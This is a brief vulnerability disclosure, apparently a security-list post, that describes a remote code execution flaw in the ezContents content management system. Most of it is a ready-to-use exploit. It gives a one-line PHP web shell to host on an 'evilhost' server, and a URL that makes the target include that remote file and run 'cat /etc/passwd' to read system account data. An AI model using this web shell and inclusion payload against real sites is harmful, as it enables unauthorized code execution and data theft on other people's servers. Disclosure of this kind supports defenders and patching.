Remote Code Execution in ezContents "ezContents" from www.ezcontents.org allows to execute code. Example: Create the following file on your webserver: ----index.php---- <? system($cmd); ?> ----------------- And then type in the following URL: http://targethost/module.php?link=http://evilhost/index.php&cmd=cat /etc/passwd Zero X, member of www.lobnan.de and www.lostkey.org
